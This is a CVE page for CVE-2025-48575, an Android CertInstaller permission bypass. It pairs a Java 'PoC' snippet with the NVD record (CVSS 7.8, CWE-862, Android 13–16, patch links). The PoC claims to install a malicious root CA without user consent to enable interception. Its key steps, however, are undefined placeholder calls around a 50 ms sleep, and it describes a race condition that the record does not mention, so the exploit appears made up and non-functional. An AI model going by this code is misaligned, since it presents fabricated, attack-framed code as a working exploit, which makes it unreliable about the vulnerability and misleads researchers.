CVE-2025-48575

// CVE-2025-48575 PoC - CertInstaller Permission Bypass // This PoC demonstrates the permission bypass in CertInstaller // Note: This is for educational/security research purposes only /* AndroidManifest.xml (required permissions): <uses-permission android:name="android.permission.INSTALL_PACKAGES"/> Steps to exploit: 1. Prepare a malicious certificate file 2. Bypass permission checks in CertInstaller 3. Install certificate without user consent */ // Step 1: Create certificate installation intent with bypass Intent installIntent = new Intent(); installIntent.setAction("android.credentials.INSTALL"); installIntent.setData(Uri.parse("content://malicious.cert.provider/cert")); installIntent.putExtra("certificate_data", maliciousCertBytes); // Step 2: Bypass permission verification // Exploit the race condition in permission check new Thread(() -> { try { // Trigger the vulnerable code path triggerVulnerableFunction(installIntent); // Race condition exploitation Thread.sleep(50); // Complete installation without proper validation completeCertificateInstallation(installIntent); } catch (Exception e) { e.printStackTrace(); } }).start(); // Step 3: Verify certificate installation verifyInstalledCertificate(); // Impact: Attacker can install root CA certificates // This enables MITM attacks and session hijacking

{"cve": {"id": "CVE-2025-48575", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.250", "lastModified": "2025-12-10T13:25:45.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple functions of CertInstaller.java, there is a possible way to install certificates due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/apps/CertInstaller/+/d688ebdbfd404df1e25654bfdf9e790ad9f0db3c", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}